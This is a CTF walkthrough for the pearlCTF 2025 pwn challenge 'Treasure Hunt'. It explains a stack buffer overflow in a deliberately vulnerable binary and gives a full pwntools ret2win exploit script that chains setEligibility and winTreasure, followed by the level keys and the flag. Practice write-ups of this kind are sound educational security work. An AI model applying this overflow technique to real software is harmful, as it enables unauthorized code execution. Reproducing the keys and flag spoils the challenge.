Treasure Hunt

Category: PWN

Difficulty: easy

Description

Are you worthy enough to get the treasure? Let's see...

Links: nc treasure-hunt.ctf.pearlctf.in 30008

Files: treasurehunt.zip

Solve Walkthrough

  • This is a classic ret2win challenge.

  • First, I check the ELF protection with checksec.

[*] '/home/hurtz4eva/Nextcloud/CTF/international/pearlCTF/2025/pwn/treasurehunt/vuln'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
  • The binary only have the NX / DEP protection, which means that we can't inject a shellcode. Let's decompile the binary using Ghidra.

  • We got a bunch of interesting functions here.

  • Here's a decompiled code of all known functions in vuln.c.

// main function.
undefined8 main(void)

{
  setup();
  puts("Welcome, traveler! Your quest for the Key of Eternity begins now...");
  enchanted_forest();
  desert_of_sands();
  ruins_of_eldoria();
  caverns_of_eternal_darkness();
  chamber_of_eternity();
  return 0;
}
  • From all the function symbols above, we can see the pattern in the main function that is calling some functions from unchanted_forest (level 1) until chamber_of_eternity (level 5).

  • What is every level/function does ? It just compared the key in each level. If it's correct, you can go to the next level until you reach out last level, which is level 5.

  • After we successfully reach out to the last level, you see in the chamber_of_eternity function is happen BOF vulnerability in fgets function. The buffer is only take 64 Bytes, but we can input until 500 Bytes.

  • So, the objective is very straighforward. After we at the last level, we can do ret2win attack to winTreasure function to get the flag.

  • But, another problem is we can't directly get the flag until the eligible global variable is changed to 1. How we can change it? Simple, we can jump to the setEligibility function first, and then jump to the winTreasure function.

  • Here's my final exploit script.

exploit.py
#!/usr/bin/env python3
#filename: exploit.py

from pwn import *

context.binary = elf = ELF("./vuln", checksec=0)
context.log_level = "debug"

# Prepare the payload.
win_addr = p64(elf.symbols['winTreasure'])
set_eligibility = p64(elf.symbols['setEligibility'])

key_lvl1 = b"whisp3ring_w00ds"
key_lvl2 = b"sc0rching_dunes"
key_lvl3 = b"eldorian_ech0"
key_lvl4 = b"shadow_4byss"
key_lvl5 = b"3ternal_light"

payload = b"A"*(64 - len(key_lvl5))
payload += b"B"*8
payload += set_eligibility
payload += win_addr

# Send all valid keys got from check_key function.
is_remote = True

if is_remote:
    io = remote("treasure-hunt.ctf.pearlctf.in", 30008)
else:
    io = elf.process()

# Send the valid key according to it's level.
io.sendline(key_lvl1)
io.sendline(key_lvl2)
io.sendline(key_lvl3)
io.sendline(key_lvl4)

# Send the last valid key for level 5 and also the payload to win_addr.
io.sendline(key_lvl5 + payload)
io.interactive()
  • If we run the exploit script remotely, we can get a shell.

Flag

pearl{k33p_0n_r3turning_l0l}

Last updated